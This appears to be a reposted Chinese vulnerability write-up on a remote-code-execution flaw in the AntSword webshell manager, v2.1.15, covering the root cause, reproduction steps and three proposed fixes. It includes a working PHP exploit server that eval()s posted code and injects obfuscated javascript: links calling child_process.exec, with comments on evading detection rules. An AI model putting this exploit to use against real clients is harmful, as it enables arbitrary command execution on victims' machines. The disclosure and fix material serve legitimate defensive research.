蚁剑v2.1.15曝致命漏洞!存在远程代码执行漏洞,点击即中招!

admin 2026-04-29 05:04:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: AntSwordv2.1.15因noxss()函数过滤不完整导致高危远程代码执行漏洞,恶意服务端可注入jquery.terminal格式码绕过过滤,在Electron客户端点击链接即可执行系统命令。影响版本为v2.1.15及其他开启nodeIntegration:true的版本。建议修复方案包括扩展noxss过滤字符集、限制终端链接协议或关闭nodeIntegration。 综合评分: 85 文章分类: 漏洞分析,WEB安全,安全工具,代码审计,解决方案


cover_image

蚁剑v2.1.15曝致命漏洞!存在远程代码执行漏洞,点击即中招!

原创

澄影安全 澄影安全

澄影安全

2026年4月28日 11:01 广东

在小说阅读器读本章

去阅读

近期,GitHub上公开了AntSword(中国蚁剑)v2.1.15的一个高危安全漏洞,该漏洞由 antSword.noxss()过滤不完整引发,恶意服务端可构造特殊响应,在虚拟终端实现格式码注入,最终导致客户端任意代码执行,风险极高。

https://github.com/AntSwordProject/antSword/issues/370

影响版本

  • AntSword v2.1.15(其他版本未逐一验证,但只要同时满足 noxss 过滤逻辑和 nodeIntegration: true 即受影响)

1.AntSword是什么

AntSword(中国蚁剑)是一款开源跨平台的WebShell管理工具,其核心开发语言为 JavaScript (ES6),并基于 Electron 框架构建,支持 Windows、Linux 和 macOS 等系统。

2. 漏洞原理:二次渲染的安全间隙

漏洞根源在于antSword.noxss()函数过滤不完整

  • noxss()仅过滤& ' > < "5 个字符,未覆盖[ ] ! ; :等 jquery.terminal 格式码字符
  • 恶意服务端注入jquery.terminal 格式码,绕过过滤后被终端解析,生成带javascript:协议的可点击链接;
  • 蚁剑基于 Electron,且开启nodeIntegration: true点击链接即可直接调用 Node.js API,执行系统命令。

数据流:

服务端响应 → noxss() 过滤([ ]&nbsp;! ; : ` 全部通过)→ term.echo() → jquery.terminal 解析格式码 → 渲染为 <a href="javascript:..."> → 用户点击 → Electron 执行 JavaScript →&nbsp;require('child_process') 可用 → 任意命令执行

涉及代码位置

| 文件 | 行号 | 说明 | | — | — | — | | source/app.entry.js | 28-38 | noxss() &nbsp;函数定义 | | source/modules/terminal/index.js | 380 | term.echo(antSword.noxss(output, false)) | | source/modules/terminal/index.js | 179-183 | Banner 中使用 noxss 包裹服务端返回的系统信息 | | app.js | 58 | nodeIntegration: true |

3. 复现流程

1. 环境准备

准备一个恶意 PHP 服务端,在终端命令执行的响应内容中注入 jquery.terminal 格式码:

[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]

2. 连接与触发

  1. 使用 AntSword 连接上述服务端
  2. 打开虚拟终端
  3. 执行任意命令(如 whoami
  4. 命令输出中出现一个看似正常的 URL 链接
  5. 点击该链接 → calc.exe 在客户端弹出

附上exp

<?php$pass&nbsp;=&nbsp;'password';
if&nbsp;(!isset($_POST[$pass])) {&nbsp; &nbsp;&nbsp;http_response_code(404);&nbsp; &nbsp;&nbsp;exit;}
$code&nbsp;=&nbsp;$_POST[$pass];
// 兼容处理if&nbsp;(!function_exists('get_magic_quotes_gpc')) {&nbsp; &nbsp;&nbsp;function&nbsp;get_magic_quotes_gpc()&nbsp;{&nbsp;return&nbsp;0; }}
/**&nbsp;* 1. 使用字符串拼接绕过关键字检测&nbsp;* 2. javascript: 使用编码绕过检测&nbsp;*/$js&nbsp; =&nbsp;"javascript:eval(String.fromCharCode(114,101,113,117,105,114,101))";$js&nbsp;.=&nbsp;"(`chi`+`ld_`+`process`).exec(`calc`)";
$payload&nbsp;=&nbsp;"[[!;;;;{$js}]{phpMyAdmin}]";
// base64 混淆$b64payload&nbsp;=&nbsp;base64_encode("\n"&nbsp;.&nbsp;$payload);
// 构造注入$inject&nbsp;=&nbsp;'echo base64_decode("'&nbsp;.&nbsp;$b64payload&nbsp;.&nbsp;'");';
// 降低被规则识别if&nbsp;(preg_match('/\b(system|exec|passthru|popen|shell_exec|proc_open)\b/i',&nbsp;$code)) {&nbsp; &nbsp;&nbsp;$code&nbsp;=&nbsp;str_ireplace('asoutput();',&nbsp;$inject&nbsp;.&nbsp;'asoutput();',&nbsp;$code);}
@eval($code);?>

4.建议修复方案

方案一:扩展 noxss 过滤字符集(最小改动)

在 noxss() 中增加对 [ 的转义,阻断格式码解析:

noxss:&nbsp;(html =&nbsp;'', wrap =&nbsp;true) =>&nbsp;{&nbsp; &nbsp;&nbsp;let&nbsp;_html =&nbsp;String(html)&nbsp; &nbsp; &nbsp; .replace(/&/g,&nbsp;"&amp;")&nbsp; &nbsp; &nbsp; .replace(/'/g,&nbsp;"&apos;")&nbsp; &nbsp; &nbsp; .replace(/>/g,&nbsp;"&gt;")&nbsp; &nbsp; &nbsp; .replace(/</g,&nbsp;"&lt;")&nbsp; &nbsp; &nbsp; .replace(/"/g,&nbsp;"&quot;")&nbsp; &nbsp; &nbsp; .replace(/\[/g,&nbsp;"&#91;"); &nbsp; &nbsp;// 新增:阻断 jquery.terminal 格式码&nbsp; &nbsp;&nbsp;if&nbsp;(wrap) {&nbsp; &nbsp; &nbsp; _html = _html.replace(/\n/g,&nbsp;'<br/>');&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;_html;},

方案二:终端初始化时限制链接协议

在 jquery.terminal 层面限制 href 只允许 http:// 和 https:// 协议。

方案三(长期):关闭 nodeIntegration

将 app.js 中 nodeIntegration 设为 false,通过 contextBridge 暴露必要的 Node.js API。这可以从根本上阻止 XSS 升级为 RCE,但改动较大。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:澄影安全 澄影安全 澄影安全《蚁剑v2.1.15曝致命漏洞!存在远程代码执行漏洞,点击即中招!》

评论:0   参与:  0